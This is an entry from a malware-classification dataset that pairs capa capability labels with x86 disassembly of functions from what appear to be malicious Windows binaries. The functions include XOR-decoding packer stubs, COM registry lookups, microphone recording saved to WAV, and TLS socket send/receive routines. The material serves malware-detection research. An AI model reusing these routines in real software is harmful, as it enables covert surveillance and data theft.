joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40102b
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
push esp
pop ebp
and esp, 0xfffffff8
sub esp, 0x1c
mov al, byte [ecx]
and dword [esp + 0x18], 0
push ebx
push esi
mov byte [edx], al
lea eax, [edx + 1]
push edi
sub edi, edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
xor ebx, ebx
lea eax, [ecx + 1]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
jmp loc.00480000

Function at 0x401271
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x1c
push esi
push ecx
pop esi
sub ecx, ecx
mov edx, dword [esi + 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp + 0x10]
add edx, esi
mov dword [eax], ecx
mov eax, 0x14c
push edi
push ecx
pop edi
cmp word [edx + 4], ax
jne 0x4013b8
push ebx
mov ebx, dword [edx + 0x88]
mov dword [ebp - 0x14], ebx
or ebx, ebx
je 0x4013b7
cmp dword [edx + 0x8c], ecx
je 0x4013b7
movzx eax, word [edx + 0x14]
add eax, 0x18
add eax, edx
movzx edx, word [edx + 6]
or edx, edx
je 0x4013b7
cmp dword [eax + 0xc], ebx
je 0x4012e2
inc ecx
add eax, 0x28
cmp ecx, edx
jb 0x4012d0
jmp 0x4013b7
mov edx, dword [eax + 0x14]
add edx, esi
push 0
movzx ecx, word [edx + 0xe]
movzx eax, word [edx + 0xc]
add ecx, eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x1c], ecx
pop ebx
je 0x4013b7
xor eax, eax
mov esi, dword [edx + eax*8 + 0x14]
and esi, 0x7fffffff
add esi, edx
push 0
movzx ecx, word [esi + 0xe]
movzx eax, word [esi + 0xc]
add ecx, eax
mov dword [ebp - 0x18], ecx
pop ecx
mov dword [ebp - 0xc], ecx
je 0x4013aa
xor eax, eax
cmp word [esi + eax*8 + 0x10], 0x65
jne 0x40139a
mov ecx, dword [esi + eax*8 + 0x14]
and ecx, 0x7fffffff
add ecx, edx
mov dword [ebp - 8], 0
movzx eax, word [ecx + 0xe]
mov dword [ebp - 4], eax
movzx eax, word [ecx + 0xc]
add dword [ebp - 4], eax
je 0x401393
sub eax, eax
mov edx, 0x409
cmp word [ecx + eax*8 + 0x10], dx
mov edx, dword [ebp - 0x10]
je 0x401376
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
movzx eax, ax
cmp eax, dword [ebp - 4]
jb 0x401356
jmp 0x401393
mov ecx, dword [ecx + eax*8 + 0x14]
mov edi, dword [ebp + 0xc]
mov eax, dword [ecx + edx]
sub eax, dword [ebp - 0x14]
add eax, edx
mov dword [edi], eax
mov eax, dword [ecx + edx + 4]
mov ecx, dword [ebp + 0x10]
sub edi, edi
mov dword [ecx], eax
inc edi
or edi, edi
jne 0x4013b7
mov ecx, dword [ebp - 0xc]
inc ecx
movzx eax, cx
mov dword [ebp - 0xc], ecx
cmp eax, dword [ebp - 0x18]
jb 0x401329
or edi, edi
jne 0x4013b7
inc ebx
movzx eax, bx
cmp eax, dword [ebp - 0x1c]
jb 0x401302
pop ebx
mov eax, edi
pop edi
pop esi
leave
ret 0xc

Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x4013f3
mov al, byte [ebp + 0xc]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [ebp + 8]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x4013d6
jmp 0x4013f6
mov eax, dword [ebp + 8]
test edi, edi
je 0x401400
xor byte [esi], al
inc esi
dec edi
jne 0x4013fa
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4015b0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7dc
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x78c], 4
mov dword [ebp - 0x774], 0x80000000
mov dword [ebp - 0x788], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x71c], eax
pushal
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0x23
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0x23
push 0x140f
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
test eax, eax
je 0x401651
xor eax, eax
jmp 0x401a3e
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x7dc], str.SOFTWAREUUasses
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0x23
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [0x4370c8], ecx
mov edx, 0x43
mov eax, dword [ebp - 0x7dc]
mov word [eax + 0x12], dx
mov ecx, 0x6c
mov edx, dword [ebp - 0x7dc]
mov word [edx + 0x14], cx
lea eax, [ebp - 0x20]
push eax
push 1
push 0
mov ecx, dword [ebp - 0x7dc]
push ecx
push 0x80000002
call dword [0x4370c8]
test eax, eax
je 0x4017a0
xor eax, eax
jmp 0x401a3e
push GetLocaleInfoA
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
jne 0x4017b8
xor eax, eax
jmp 0x401a3e
lea edx, [ebp - 0x20]
push edx
push 1
push 0
push str.clsid000c103e_0000_0000_c000_000000000046inprocserver32
push 0x80000000
call dword [0x4370c8]
test eax, eax
je 0x4017d6
int 0x3d
push 1
mov eax, dword [0x4370c4]
push eax
jmp 0x45bf92
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401444
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
mov edx, dword [0x84f814]
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x18], esi
push edi
mov edi, dword [esi]
mov ebx, dword [esi + 4]
mov dword [ebp - 0x10], edi
cmp edx, 0x594
jne 0x401482
push 0
lea eax, [ebp - 0x844]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, dword [0x84f814]
mov eax, dword [0x41c308]
lea ecx, [ebp - 8]
and dword [ebp - 8], 0
mov dword [ebp - 0x1c], eax
mov eax, dword [0x41c30c]
mov dword [ebp - 0x2c], 0x9e3779b9
mov dword [ebp - 0x24], eax
call fcn.00401438
add dword [ebp - 8], 0x23f
cmp edx, 0x14
jne 0x4014c2
push 0
lea eax, [ebp - 0x444]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
mov ecx, dword [0x41c310]
mov eax, dword [0x41c314]
push 0x20
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], eax
pop esi
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, edi
mov edx, 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x84f814], 0xfa9
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [0x84f810]
cmove eax, edx
xor edx, edx
cmp dword [0x84f814], 0x3eb
mov dword [0x84f810], eax
mov eax, dword [0x84f768]
cmove eax, edx
add ecx, edi
mov dword [0x84f768], eax
mov eax, dword [ebp - 0x10]
shr eax, 5
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
xor edx, ecx
add eax, dword [ebp - 0x20]
xor eax, edx
mov dword [0x84f80c], 0xf4ea3dee
cmp dword [0x84f814], 0x213
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
jne 0x401591
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
lea eax, [ebp - 0x444]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
mov eax, dword [ebp - 0xc]
sub ebx, eax
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
shr eax, cl
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
add eax, ebx
xor edx, eax
cmp dword [0x84f814], 0xb03
mov dword [ebp - 4], edx
jne 0x4015d8
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
jmp 0x4015db
mov eax, dword [ebp - 0x10]
xor edx, eax
mov ecx, edi
mov dword [ebp - 4], edx
call fcn.0040143f
mov edi, eax
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 8], eax
mov ecx, dword [ebp - 0x28]
dec esi
jne 0x4014d6
mov esi, dword [ebp - 0x18]
mov dword [esi], edi
pop edi
mov dword [esi + 4], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40160b
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x84f814]
sub esp, 0x800
push esi
mov esi, eax
shr esi, 3
push edi
mov edi, dword [0x84f76c]
test esi, esi
je 0x401659
cmp eax, 0x959
jne 0x401645
push 0
lea eax, [ebp - 0x800]
push eax
push str.vacenihujekopibixilelehe
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
call fcn.00401444
add edi, 8
dec esi
je 0x401659
mov eax, dword [0x84f814]
jmp 0x40162a
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40cc59
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41b430]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407a5b
mov dword [ebp - 0x14], eax
cmp dword [0x4365d4], esi
jne 0x40cd4c
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40ccd9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40ce2c
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40ce2c
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40ce2c
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4365d4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4365d8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4365dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4365e4], eax
test eax, eax
je 0x40cd49
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4365e0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40cd71
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40cd64
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40cd86
push 4
pop eax
jmp 0x40ce2e
cmp dword [ebp - 0x14], esi
je 0x40cd86
push dword [0x4365d4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40cd6b
mov eax, dword [0x4365e0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40cde4
cmp dword [0x4365e4], edi
je 0x40cde4
push eax
call ebx
push dword [0x4365e4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40cde4
test eax, eax
je 0x40cde4
call ecx
test eax, eax
je 0x40cdd9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40cdd9
test byte [ebp - 8], 1
jne 0x40cde4
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40ce14
mov eax, dword [0x4365d8]
cmp eax, edi
je 0x40ce11
push eax
call ebx
test eax, eax
je 0x40ce11
call eax
mov esi, eax
test esi, esi
je 0x40ce11
mov eax, dword [0x4365dc]
cmp eax, edi
je 0x40ce11
push eax
call ebx
test eax, eax
je 0x40ce11
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4365d4]
call ebx
test eax, eax
je 0x40ce2c
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40ce2e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040425b
mov esp, ebp
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x150f988
Capabilities:
Resolve function by parsing pe exports

Disassembly:
call 0x150f988
and eax, 0x8d240c87
mov dword [edi], ecx
sti
invalid
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x59e2361
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x20d0704a
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4016f8
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
lea eax, [ebp + 0xc]
mov esi, ecx
push eax
mov ecx, 0x46e108
mov edi, edx
call fcn.00401f9f
mov edx, dword [ebp + 8]
xor eax, eax
inc eax
movzx ebx, di
mov word [0x46da98], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x46da9c], edx
mov word [0x46daa6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x46da9a], si
addsd xmm0, qword [edx*8 + 0x4671d0]
mov dword [0x46daa0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x46daa8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x401853
push 0x46da98
push 0xffffffffffffffff
push 0x46dab8
mov word [0x46daa4], cx
mulss xmm0, dword [0x46717c]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x46daac], eax
mov dword [0x46da70], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.004017d6
inc esi
cmp esi, 2
jb 0x4017b1
push dword [0x46dab8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [ebp + 0xc]
pop ebx
pop ebp
jmp fcn.00401fb9

Function at 0x4017d6
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
push dword [0x46da70]
mov esi, ecx
mov ecx, 0x46e0c8
push esi
call fcn.00401e3b
mov ecx, eax
call fcn.00401f76
mov edi, dword [0x46e104]
mov ebx, esi
shl ebx, 5
mov ecx, 0x46e0c8
push esi
add edi, ebx
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
mov dword [edi], eax
mov eax, dword [0x46da70]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x46dab8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x46e104]
push 0x20
add eax, ebx
push eax
push dword [0x46dab8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebx
ret
Function at 0x401a56
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
movzx esi, word [0x46daa6]
mov ebx, edx
push edi
movzx edi, word [0x46da9a]
imul esi, edi
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x10
mov eax, esi
imul eax, dword [0x46da9c]
shr eax, 3
mov dword [ebp - 0x14], eax
mov eax, esi
cdq
xor esi, esi
and edx, 7
add eax, edx
push esi
sar eax, 3
push 0x80
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 4]
push 2
imul eax, edi
push esi
push esi
push 0x40000000
push ecx
mov dword [ebp - 0x1c], eax
add eax, 0x24
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401ad2
xor al, al
jmp 0x401bb8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 4]
push eax
push 4
push 0x460440
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.WAVE
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.fmt
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x10]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x46da9a
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x46da9c
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x18]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x46daa6
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
push str.data
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
push 0
lea ecx, [ebp - 4]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4049de
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x46dacc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404b31
cmp byte [edi + 1], al
je 0x404b2d
cmp byte [edi + 0x31], al
je 0x404a3c
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.00405416
sub esp, 0x14
mov ecx, esp
push 0x460638
call fcn.00402076
call fcn.00417670
add esp, 0x30
call fcn.0041d1ef
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x404a57
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x404b91
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.0041d413
cmp eax, 1
je 0x404a9d
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push 0x460568
call fcn.00402076
call fcn.00417670
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.0041d235
and dword [edi + 0x4c], 0
jmp 0x404bad
mov ecx, dword [edi + 0x4c]
call fcn.0041df42
cmp eax, 1
je 0x404ada
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push 0x460568
call fcn.00402076
call fcn.00417670
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.0041d63c
jmp 0x404a8c
mov ecx, dword [edi + 0x4c]
call fcn.0041d38a
mov dword [edi + 0x50], eax
test eax, eax
jne 0x404b0f
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push 0x460568
call fcn.00402076
call fcn.00417670
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x404baf
cmp byte [edi + 0x31], 0
je 0x404bad
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x404bad
sub ecx, 0x17
je 0x404b87
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00418c47
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.004053f2
sub esp, 0x14
mov ecx, esp
push 0x460568
call fcn.00402076
call fcn.00417670
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00401fb9
jmp 0x404bad
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push 0x460568
call fcn.00402076
call fcn.00417670
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404bb7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.0040247b
push 0
push 0xc
lea ecx, [ebp - 0x1c]
lea esi, [eax + 4]
call fcn.004052fd
push 0
lea ecx, [ebp - 0x1c]
call fcn.004052cf
mov ecx, dword [edi + 0x2c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.004052cf
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.004052cf
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00403428
cmp byte [edi + 1], 0
jne 0x404c35
push 0
lea ecx, [ebp - 0x1c]
call fcn.0040247b
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401f87
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x404c69
push 0xffffffffffffffff
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.0040247b
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401f87
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.0041d5c4
pop ecx
pop ecx
push dword [edi + 0x70]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x1c]
call fcn.00401fb9
lea ecx, [ebp + 0xc]
call fcn.00401fb9
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x404c83
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x404cbc
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [edi + 0x4c]
call fcn.0041d600
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x404ccd
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x404cd4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x404cf3
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4